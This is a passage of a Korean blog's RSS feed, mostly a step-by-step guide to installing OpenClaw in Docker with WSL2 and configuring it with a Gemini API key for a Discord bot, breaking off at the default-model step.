&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>AWS/CloudGoat</category>
      <category>cloudgoat</category>
      <author>chon29</author>
      <guid isPermaLink="true">https://chon29.tistory.com/48</guid>
      <comments>https://chon29.tistory.com/48#entry48comment</comments>
      <pubDate>Mon, 23 Mar 2026 15:22:31 +0900</pubDate>
    </item>
    <item>
      <title>[OpenClaw] Docker 환경에서 Gemini API를 이용한 디스코드 봇 구축</title>
      <link>https://chon29.tistory.com/47</link>
      <description>&lt;h3 data-path-to-node=&quot;4&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4&quot;&gt;Docker Desktop 설치&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-path-to-node=&quot;5&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://www.docker.com/&quot; data-ved=&quot;0CAAQ_4QMahgKEwifwce8262TAxUAAAAAHQAAAAAQiw0&quot; data-hveid=&quot;0&quot;&gt;Docker 공식 홈페이지&lt;/a&gt;&lt;span&gt;에서 &lt;/span&gt;&lt;b data-index-in-node=&quot;17&quot; data-path-to-node=&quot;5,0,0&quot;&gt;Docker Desktop for Windows&lt;/b&gt;&lt;span&gt;를 다운로드한다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;설치 파일을 실행하여 설정을 마친 후,&lt;/span&gt;&lt;span&gt; 반드시 &lt;/span&gt;&lt;b data-index-in-node=&quot;26&quot; data-path-to-node=&quot;5,1,0&quot;&gt;WSL2 설치&lt;/b&gt;&lt;span&gt;를 병행해야 한다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;설치 완료 후 터미널(CMD/PowerShell)에서 &lt;/span&gt;docker --version&lt;span&gt; 명령어로 설치 여부를 확인한다.&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;figure id=&quot;og_1773983258486&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Docker: Accelerated Container Application Development&quot; data-og-description=&quot;Docker is a platform designed to help developers build, share, and run container applications. We handle the tedious setup, so you can focus on the code.&quot; data-og-host=&quot;www.docker.com&quot; data-og-source-url=&quot;https://www.docker.com/&quot; data-og-url=&quot;https://www.docker.com/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/BC3Z7/dJMb85WStkp/NwSqmJPX2tcRdvHmQGaN2k/img.png?width=1110&amp;amp;height=580&amp;amp;face=0_0_1110_580,https://scrap.kakaocdn.net/dn/VI46J/dJMb87NVzIl/xPSpmpxVCWi9qaZkyWMrnK/img.png?width=1110&amp;amp;height=580&amp;amp;face=0_0_1110_580,https://scrap.kakaocdn.net/dn/cHqhPl/dJMb8867YEh/4BFuzp2YPVC6uX8RLHoAI1/img.png?width=2320&amp;amp;height=958&amp;amp;face=1598_268_1866_558&quot;&gt;&lt;a href=&quot;https://www.docker.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.docker.com/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/BC3Z7/dJMb85WStkp/NwSqmJPX2tcRdvHmQGaN2k/img.png?width=1110&amp;amp;height=580&amp;amp;face=0_0_1110_580,https://scrap.kakaocdn.net/dn/VI46J/dJMb87NVzIl/xPSpmpxVCWi9qaZkyWMrnK/img.png?width=1110&amp;amp;height=580&amp;amp;face=0_0_1110_580,https://scrap.kakaocdn.net/dn/cHqhPl/dJMb8867YEh/4BFuzp2YPVC6uX8RLHoAI1/img.png?width=2320&amp;amp;height=958&amp;amp;face=1598_268_1866_558');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Docker: Accelerated Container Application Development&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Docker is a platform designed to help developers build, share, and run container applications. We handle the tedious setup, so you can focus on the code.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.docker.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-path-to-node=&quot;6&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6&quot;&gt;WSL2와 Docker 연결&lt;/b&gt;&lt;/h3&gt;
&lt;h4 id=&quot;2-docker-compose-%ED%99%95%EC%9D%B8&quot; style=&quot;background-color: #ffffff; color: #15171a; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;- Docker Compose 확인&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;PowerShell에서는 docker가 잘 실행되는 것으로 보아 &lt;b data-index-in-node=&quot;40&quot; data-path-to-node=&quot;4&quot;&gt;Docker Desktop&lt;/b&gt;이 설치되어 있지만, WSL에서는 설치가 안 되어 있어서 별도 연결 설정이 필요하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/chpjn0/dJMcacJdv5y/yjIgclcKXKw0Ex3gm57200/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/chpjn0/dJMcacJdv5y/yjIgclcKXKw0Ex3gm57200/img.png&quot; data-origin-width=&quot;754&quot; data-origin-height=&quot;70&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;69.7&quot; style=&quot;width: 68.8861%; margin-right: 10px;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/chpjn0/dJMcacJdv5y/yjIgclcKXKw0Ex3gm57200/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fchpjn0%2FdJMcacJdv5y%2FyjIgclcKXKw0Ex3gm57200%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;754&quot; height=&quot;70&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sMLaA/dJMcach8gv0/3e095G0XlmdkUG3uCUvzbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sMLaA/dJMcach8gv0/3e095G0XlmdkUG3uCUvzbk/img.png&quot; data-origin-width=&quot;1405&quot; data-origin-height=&quot;300&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;30.3&quot; style=&quot;width: 29.9511%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sMLaA/dJMcach8gv0/3e095G0XlmdkUG3uCUvzbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsMLaA%2FdJMcach8gv0%2F3e095G0XlmdkUG3uCUvzbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1405&quot; height=&quot;300&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;(L) Powershell / (R) wsl&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot; data-path-to-node=&quot;8&quot;&gt;
&lt;li&gt;Docker Desktop 프로그램을 열고 상단&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b data-path-to-node=&quot;8,0,0&quot; data-index-in-node=&quot;27&quot;&gt;톱니바퀴(Settings)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;아이콘을 클릭한다.&lt;/li&gt;
&lt;li&gt;&lt;b data-path-to-node=&quot;8,1,0&quot; data-index-in-node=&quot;0&quot;&gt;Resources -&amp;gt; WSL integration&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;메뉴로 이동한다.&lt;/li&gt;
&lt;li&gt;배포판 목록 중 현재 사용 중인&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b data-path-to-node=&quot;8,2,0&quot; data-index-in-node=&quot;18&quot;&gt;Ubuntu&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;이미지를 찾아 스위치를 켠다(ON).&lt;/li&gt;
&lt;li&gt;&lt;b data-path-to-node=&quot;8,3,0&quot; data-index-in-node=&quot;0&quot;&gt;Apply &amp;amp; Restart&lt;/b&gt;를 클릭하면 이제 WSL 터미널에서도 도커 명령어를 사용할 수 있다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2536&quot; data-origin-height=&quot;1436&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kP5FQ/dJMcaf6YF48/lmQWbbuNQyKO0YolZKYKr1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kP5FQ/dJMcaf6YF48/lmQWbbuNQyKO0YolZKYKr1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kP5FQ/dJMcaf6YF48/lmQWbbuNQyKO0YolZKYKr1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkP5FQ%2FdJMcaf6YF48%2FlmQWbbuNQyKO0YolZKYKr1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2536&quot; height=&quot;1436&quot; data-origin-width=&quot;2536&quot; data-origin-height=&quot;1436&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이후 다시 버전을 확인하면 연결이 되어있음을 확인할 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;775&quot; data-origin-height=&quot;69&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/I9ezG/dJMcaaSaBmw/Ga2SZqaHvEi8s8kCXYhn9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/I9ezG/dJMcaaSaBmw/Ga2SZqaHvEi8s8kCXYhn9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/I9ezG/dJMcaaSaBmw/Ga2SZqaHvEi8s8kCXYhn9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FI9ezG%2FdJMcaaSaBmw%2FGa2SZqaHvEi8s8kCXYhn9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;775&quot; height=&quot;69&quot; data-origin-width=&quot;775&quot; data-origin-height=&quot;69&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 id=&quot;4-%EB%A6%AC%ED%8F%AC%EC%A7%80%ED%86%A0%EB%A6%AC-%ED%81%B4%EB%A1%A0&quot; style=&quot;background-color: #ffffff; color: #15171a; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt; OpenClaw 설치 및 실행&lt;/b&gt;&lt;/h3&gt;
&lt;h4 data-path-to-node=&quot;11&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11&quot;&gt;리포지토리 클론&lt;/b&gt;&lt;/h4&gt;
&lt;p data-path-to-node=&quot;12&quot; data-ke-size=&quot;size16&quot;&gt;WSL 터미널에서 아래 명령어를 입력하여 소스 코드를 가져온다.&lt;/p&gt;
&lt;pre id=&quot;code_1773967910546&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# OpenClaw 리포지토리 클론
git clone https://github.com/openclaw/openclaw.git
cd openclaw&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt; 자동 설치 스크립트 실행 &lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1773990759181&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;chmod +x docker-setup.sh
./docker-setup.sh&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;별도의 환경 변수 설정 없이 스크립트 한 번으로 이미지 빌드와 .env 설정을 끝낼 수 있다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt; OpenClaw 초기 설정(Onboarding) 단계별 가이드 &lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1709&quot; data-origin-height=&quot;1533&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/crhfTW/dJMcagY7cBs/t5cBnvHTXYAm2Q543By3bk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/crhfTW/dJMcagY7cBs/t5cBnvHTXYAm2Q543By3bk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/crhfTW/dJMcagY7cBs/t5cBnvHTXYAm2Q543By3bk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcrhfTW%2FdJMcagY7cBs%2Ft5cBnvHTXYAm2Q543By3bk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1709&quot; height=&quot;1533&quot; data-origin-width=&quot;1709&quot; data-origin-height=&quot;1533&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;설치가 완료되면 터미널에 온보딩 화면이 나온다. 아래 순서대로 설정을 진행하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. 기본 약관 및 모드 선택 &lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;온보딩 설정&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;- Personal-by-default&lt;/b&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;◆ &amp;nbsp;I understand this is personal-by-default and shared/multi-user use requires lock-down. Continue?&lt;br /&gt;│&amp;nbsp;&amp;nbsp;&lt;br /&gt;●&amp;nbsp; Yes / ○&amp;nbsp;No&lt;br /&gt;└&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이 봇은 개인용으로 설계되었다는 안내다. [Yes]를 선택해 계속 진행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;- Setup mode&lt;/b&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;◆&amp;nbsp;Setup mode&lt;br /&gt;│&amp;nbsp;&amp;nbsp;●&amp;nbsp;QuickStart&amp;nbsp;(Configure&amp;nbsp;details&amp;nbsp;later&amp;nbsp;via&amp;nbsp;openclaw&amp;nbsp;configure.)&lt;br /&gt;│&amp;nbsp;&amp;nbsp;○ Manual&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;빠르게 설정을 끝내기 위해 [QuickStart]를 선택한다. 나중에 대시보드에서 상세 설정을 바꿀 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;- Config handling&lt;/b&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;◆&amp;nbsp;&amp;nbsp;Config handling&lt;br /&gt;│&amp;nbsp;&amp;nbsp;●&amp;nbsp;Use&amp;nbsp;existing&amp;nbsp;values&lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Update&amp;nbsp;values&lt;br /&gt;│&amp;nbsp;&amp;nbsp;○ Reset&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;처음 설치라면 &lt;b data-index-in-node=&quot;25&quot; data-path-to-node=&quot;5,2,0&quot;&gt;[Use existing values]&lt;/b&gt; 또는 기본값을 선택해 넘어간다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt; 2. AI 모델 설정&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;- Model/auth provider &lt;/b&gt;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;◆&amp;nbsp;&lt;b&gt;&amp;nbsp;Model/auth&amp;nbsp;provider&lt;/b&gt; &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Alibaba&amp;nbsp;Cloud&amp;nbsp;Model&amp;nbsp;Studio &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Anthropic &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;BytePlus &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Chutes &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Cloudflare&amp;nbsp;AI&amp;nbsp;Gateway &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Copilot &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Custom&amp;nbsp;Provider &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;fal &lt;br /&gt;│&amp;nbsp;&amp;nbsp;●&amp;nbsp;&lt;b&gt;Google&amp;nbsp;&lt;/b&gt;(Gemini&amp;nbsp;API&amp;nbsp;key&amp;nbsp;+&amp;nbsp;OAuth) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Hugging&amp;nbsp;Face &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Kilo&amp;nbsp;Gateway &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Kimi&amp;nbsp;Code &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;LiteLLM &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;MiniMax &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Mistral&amp;nbsp;AI &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Moonshot&amp;nbsp;AI&amp;nbsp;(Kimi&amp;nbsp;K2.5) &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Ollama &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;OpenAI &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;OpenCode &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;OpenRouter &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Qianfan &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Qwen &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;SGLang &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Synthetic &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Together&amp;nbsp;AI &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Venice&amp;nbsp;AI &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Vercel&amp;nbsp;AI&amp;nbsp;Gateway &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;vLLM &lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Volcano&amp;nbsp;Engine &lt;br /&gt;│&amp;nbsp;&amp;nbsp;... &lt;br /&gt;└&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;구글의 Gemini를 사용할 것이므로 [Google]을 선택한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;- Google auth method&lt;/b&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;◆ &amp;nbsp;Google auth method&lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Gemini&amp;nbsp;CLI&amp;nbsp;OAuth&lt;br /&gt;│&amp;nbsp;&amp;nbsp;●&amp;nbsp;Google&amp;nbsp;Gemini&amp;nbsp;API&amp;nbsp;key&lt;br /&gt;│&amp;nbsp;&amp;nbsp;○&amp;nbsp;Back&lt;br /&gt;└&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;API 키를 직접 입력하는 방식인 [Google Gemini API key]를 선택한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Google API 키 발급&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;API 키가 없다면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;color: #0070d1;&quot; href=&quot;https://aistudio.google.com/api-keys&quot;&gt;Google AI Studio API Key&lt;/a&gt;에 접속하여 Google 계정 로그인 후 'Create API Key'를 눌러 무료로 발급받는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2440&quot; data-origin-height=&quot;1348&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nBUEG/dJMcajuK2bM/xe3GKxaAb9DqRjg5AtrUkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nBUEG/dJMcajuK2bM/xe3GKxaAb9DqRjg5AtrUkk/img.png&quot; data-alt=&quot;API 발급&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nBUEG/dJMcajuK2bM/xe3GKxaAb9DqRjg5AtrUkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnBUEG%2FdJMcajuK2bM%2Fxe3GKxaAb9DqRjg5AtrUkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2440&quot; height=&quot;1348&quot; data-origin-width=&quot;2440&quot; data-origin-height=&quot;1348&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;API 발급&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;[ API 키 발급 참고 ]&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1773992370474&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;Gemini API key 발급하기&quot; data-og-description=&quot;Google AI Studio에서 Gemini API key 발급하는 방법을 설명할게요.&quot; data-og-host=&quot;flextudio.com&quot; data-og-source-url=&quot;https://flextudio.com/blog/gemini-1&quot; data-og-url=&quot;https://flextudio.com/blog/gemini-1&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/br7bro/dJMb84XXSl2/xr5i8KY76lK1x1OExSLz8k/img.png?width=1600&amp;amp;height=942&amp;amp;face=0_0_1600_942,https://scrap.kakaocdn.net/dn/cHIqtV/dJMb85vN4Rr/wKEvTYi1Pqr79wzznJdGo0/img.png?width=1600&amp;amp;height=942&amp;amp;face=0_0_1600_942,https://scrap.kakaocdn.net/dn/7ZR2b/dJMb8UHOh8Z/82v5Ks0zbAumXNfKWedhi1/img.png?width=800&amp;amp;height=520&amp;amp;face=0_0_800_520&quot;&gt;&lt;a href=&quot;https://flextudio.com/blog/gemini-1&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://flextudio.com/blog/gemini-1&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/br7bro/dJMb84XXSl2/xr5i8KY76lK1x1OExSLz8k/img.png?width=1600&amp;amp;height=942&amp;amp;face=0_0_1600_942,https://scrap.kakaocdn.net/dn/cHIqtV/dJMb85vN4Rr/wKEvTYi1Pqr79wzznJdGo0/img.png?width=1600&amp;amp;height=942&amp;amp;face=0_0_1600_942,https://scrap.kakaocdn.net/dn/7ZR2b/dJMb8UHOh8Z/82v5Ks0zbAumXNfKWedhi1/img.png?width=800&amp;amp;height=520&amp;amp;face=0_0_800_520');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Gemini API key 발급하기&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Google AI Studio에서 Gemini API key 발급하는 방법을 설명할게요.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;flextudio.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;- Enter Gemini API key &lt;/b&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;◆&amp;nbsp;&amp;nbsp;Enter&amp;nbsp;Gemini&amp;nbsp;API&amp;nbsp;key &lt;br /&gt;│&amp;nbsp;&amp;nbsp;_ &lt;br /&gt;└&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;a href=&quot;https://aistudio.google.com/&quot; data-ved=&quot;0CAAQ_4QMahgKEwifwce8262TAxUAAAAAHQAAAAAQ6Qw&quot; data-hveid=&quot;0&quot;&gt;Google AI Studio&lt;/a&gt;에서 발급받은 API 키를 붙여넣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;- Default model &lt;/b&gt;&lt;/p&gt;
